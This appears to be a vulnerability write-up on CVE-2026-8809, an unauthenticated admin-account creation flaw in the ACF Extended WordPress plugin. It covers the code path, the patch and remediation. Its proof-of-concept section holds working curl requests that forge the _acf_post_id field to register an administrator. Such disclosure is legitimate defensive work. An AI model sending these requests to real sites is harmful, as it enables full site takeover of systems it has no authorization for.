CVE-2026-8809: ACF Extended Unauthenticated Privilege Escalation (CVSS 9.8)
Table of Contents
CVE-2026-8809 is a CVSS 9.8 Critical unauthenticated privilege escalation vulnerability in the Advanced Custom Fields: Extended WordPress plugin. Any unauthenticated visitor can create a new administrator account on affected sites, achieving full site takeover.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Advanced Custom Fields: Extended |
| Plugin Slug | acf-extended |
| CVE ID | CVE-2026-8809 |
| CVSS Score | 9.8 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Vulnerability Type | Unauthenticated Privilege Escalation |
| Affected Versions | <= 0.9.2.5 |
| Patched Version | 0.9.2.6 |
| Published | May 28, 2026 |
| Researcher | daroo |
| Wordfence Advisory | Link |
Description
Advanced Custom Fields: Extended (ACFE) is a comprehensive add-on for ACF Pro. One of its features is a frontend form builder that lets site owners create public forms for tasks like user registration. When a form is configured with a “Create User” action and an admin role option, a security check is supposed to block unauthenticated users from registering as administrators.
This check can be completely bypassed by manipulating a single POST parameter: _acf_post_id. Because this parameter is read from the request with no authentication or integrity check, an attacker can set it to any value. By choosing a value that points to an internal ACFE module post, the attacker triggers an error-cleanup routine that silently deletes the admin-role check error before WordPress sees it. The form then proceeds to call wp_insert_user() with an attacker-supplied administrator role, creating a fully privileged account.
Technical Analysis
How the Frontend Form Processes Submissions
When an ACFE frontend form is submitted, WordPress fires the acf/validate_save_post action hook. Several functions run in sequence, ordered by priority:
- Priority 0 —
acf_save_post_form_data()inincludes/hooks.phpreads POST parameters and stores them as “form data.” This includes_acf_post_id:
// includes/hooks.php:632-644
function acf_save_post_form_data(){
$screen = acf_maybe_get_POST('_acf_screen', 'post');
$post_id = acf_maybe_get_POST('_acf_post_id', 0); // ← attacker-controlled
$location = acf_maybe_get_POST('_acf_location', array());
acf_set_form_data(array(
'screen' => $screen,
'post_id' => $post_id,
'location' => $location,
));
}
No authentication. No nonce. Any POST value for _acf_post_id is accepted as-is.
-
Priority 1 —
acfe_module_form_front::validate_save_post()runs the form’s own validation hooks, includingacfe/form/validate_user. This triggersacfe_module_form_action_user::validate_action(). -
Priority 10 (default) —
acfe_module_acf::after_validate_save_post()runs after all other validators.
The Admin Role Check That Gets Silently Removed
Inside validate_action(), a security check blocks unauthenticated users from setting the administrator or super_admin role:
// includes/modules/form/module-form-action-user.php:356-373
if($action['type'] === 'insert_user' || $action['type'] === 'update_user'){
$role = acf_get_array($action['save']['role']);
if((in_array('administrator', $role, true) || in_array('super_admin', $role, true))
&& !current_user_can('promote_users')){
if($validate){
return acfe_add_validation_error('', $errors['generic']);
// Error message: "An error has occured. Please try again"
}
}
}
This adds a validation error with the plain message "An error has occured. Please try again". Notice: there is no acfe: prefix on this message.
The Error Cleanup That Swallows the Block
after_validate_save_post() in includes/module-acf.php is designed to clean up errors from ACFE’s internal module forms (like the Post Types or Taxonomies admin screens). It only keeps errors prefixed with acfe: and discards everything else:
// includes/module-acf.php:119-154
function after_validate_save_post(){
$post_id = acf_get_form_data('post_id'); // ← reads the attacker-controlled value
$module = acfe_get_module_by_item($post_id); // ← looks up a module by post ID
if(!$module){
return; // normally returns early for regular page IDs
}
$errors = acf_get_array(acf()->validation->get_errors());
foreach(array_keys($errors) as $key){
if(!acfe_starts_with($errors[$key]['message'], 'acfe:')){
unset($errors[$key]); // ← removes "An error has occured. Please try again"
}
}
// cleanup acfe: prefix from remaining messages
foreach(array_keys($errors) as $key){
$errors[$key]['message'] = str_replace('acfe:', '', $errors[$key]['message']);
}
acf()->validation->errors = $errors; // ← overwrites the errors array
}
This function only runs if acfe_get_module_by_item($post_id) returns a module. Under normal operation, _acf_post_id is the page ID (e.g., 42), which has post type page. Because page is not an ACFE module type, the function returns early and does nothing.
Triggering the Bug: Supplying a Module Post ID
acfe_get_module_by_item() calls get_post_type(absint($id)) on the supplied ID and checks if that post type is a registered ACFE module:
// includes/module.php:1351-1363
function acfe_get_module_by_item($id){
$id = absint($id);
if(!$id){ return false; }
return acfe_get_module_by_post_type(get_post_type($id));
}
ACFE registers its own post types as modules — for example, acfe-form (forms), acfe-dt (dynamic templates), and others. If an attacker sets _acf_post_id to the database ID of any post with type acfe-form, the function returns the form module.
Because every ACFE installation has at least one form post in the database, and its ID is typically visible in the page HTML (embedded in ACF’s localized script data or form attributes), this is trivial to obtain.
Full Attack Chain
_acf_post_id= ID of anacfe-formpost is sent by the attacker.acf_save_post_form_data()stores it as form data.validate_action()adds the error"An error has occured. Please try again"(noacfe:prefix).after_validate_save_post()finds the form module from the attacker-supplied ID.- The error from step 3 is removed because it lacks the
acfe:prefix. - ACF’s validation now sees zero errors — the form is valid.
wp_insert_user()executes with the attacker’s data, includingrole => administrator.- A new admin account exists.
Proof of Concept
Disclaimer: This proof of concept is provided for educational and authorized security testing purposes only. Do not use it against systems you do not own or have explicit permission to test.
Prerequisites:
- Plugin: Advanced Custom Fields: Extended version <= 0.9.2.5
- A public ACFE frontend form with a “Create User” action configured with an administrator role
- At least one
acfe-formpost exists in the database (true for any site using ACFE forms)
Step 1 — Identify the form endpoint and extract required values.
Visit the public form page and view the page source. Find the hidden inputs rendered by ACFE:
curl -s "https://target.example.com/register/" | grep -E "_acf_form|_acf_nonce|acf\["
You need:
_acf_form— the encrypted form configuration (hidden input)_acf_nonce(or_acf_nonce_acfe_form) — the nonce value for the form_acf_post_id— normally the page ID; you will replace this
Step 2 — Find an acfe-form post ID.
The form’s own post ID is often embedded in ACF’s localized JavaScript data on the form page:
curl -s "https://target.example.com/register/" | grep -o '"post_id":[0-9]*' | head -1
Alternatively, enumerate common post IDs (1–100) and check which ones have post type acfe-form.
Step 3 — Submit the form with the manipulated _acf_post_id.
curl -X POST "https://target.example.com/register/" \
-d "_acf_screen=acfe_form" \
-d "_acf_nonce_acfe_form=NONCE_FROM_PAGE" \
-d "_acf_form=ENCRYPTED_FORM_VALUE_FROM_PAGE" \
-d "_acf_post_id=ACFE_FORM_POST_ID" \
-d "acf[field_user_email]=attacker@evil.com" \
-d "acf[field_user_login]=attacker_admin" \
-d "acf[field_user_pass]=P@ssw0rd123!" \
-d "acf[field_user_role][0]=administrator"
Replace field_user_email, field_user_login, field_user_pass, and field_user_role with the actual ACF field keys from the form’s HTML source.
Step 4 — Verify administrator account was created.
curl "https://target.example.com/wp-json/wp/v2/users?search=attacker_admin"
# Look for "roles":["administrator"] in the response
# Or log in to wp-admin directly:
# https://target.example.com/wp-admin/ → use attacker@evil.com / P@ssw0rd123!
What makes it work:
The key change is _acf_post_id=ACFE_FORM_POST_ID. In a normal request, this value is the page ID (a page post type). Changing it to any acfe-form post ID causes after_validate_save_post() to find the module and wipe all non-acfe: errors — including the administrator role guard — before ACF evaluates the final error list.
Patch Analysis
Version 0.9.2.6 fixes the vulnerability in includes/module-acf.php by adding two guards to the validate_save_post() and after_validate_save_post() functions:
// includes/module-acf.php
function after_validate_save_post(){
+
+ // validate
+ if(!acf_current_user_can_admin() || !$this->verify_nonce()){
+ return;
+ }
$post_id = acf_get_form_data('post_id');
...
The new verify_nonce() method checks for a backend nonce _acfe_module_nonce:
// includes/module-acf.php (patched)
function verify_nonce(){
$nonce = acf_maybe_get_POST('_acfe_module_nonce');
return $nonce && wp_verify_nonce($nonce, 'acfe_module');
}
Both checks must pass:
acf_current_user_can_admin()— only administrator-level users pass.wp_verify_nonce($nonce, 'acfe_module')— only valid admin-issued nonces pass.
Because unauthenticated frontend form submissions never have an admin nonce, after_validate_save_post() returns immediately without touching the errors array. The administrator role check error stays, and wp_insert_user() is never called.
The same guards were also added to validate_save_post() and save_post(), fully locking down the module management path to authenticated admins.
Timeline
| Date | Event |
|---|---|
| May 28, 2026 | Vulnerability publicly disclosed by Wordfence |
| May 28, 2026 | Patch released in version 0.9.2.6 |
| June 7, 2026 | Blog post published |
Remediation
Update Advanced Custom Fields: Extended to version 0.9.2.6 or later.
- Go to WordPress Admin → Plugins → Installed Plugins.
- Find Advanced Custom Fields: Extended and click Update Now.
- Confirm the installed version is
0.9.2.6or higher.
If automatic update is not possible, download the plugin directly from wordpress.org/plugins/acf-extended/ and replace the plugin files manually.
Sites that do not use public ACFE frontend forms configured with user creation and role selection are not vulnerable to this specific attack chain. However, updating is strongly recommended as a precaution.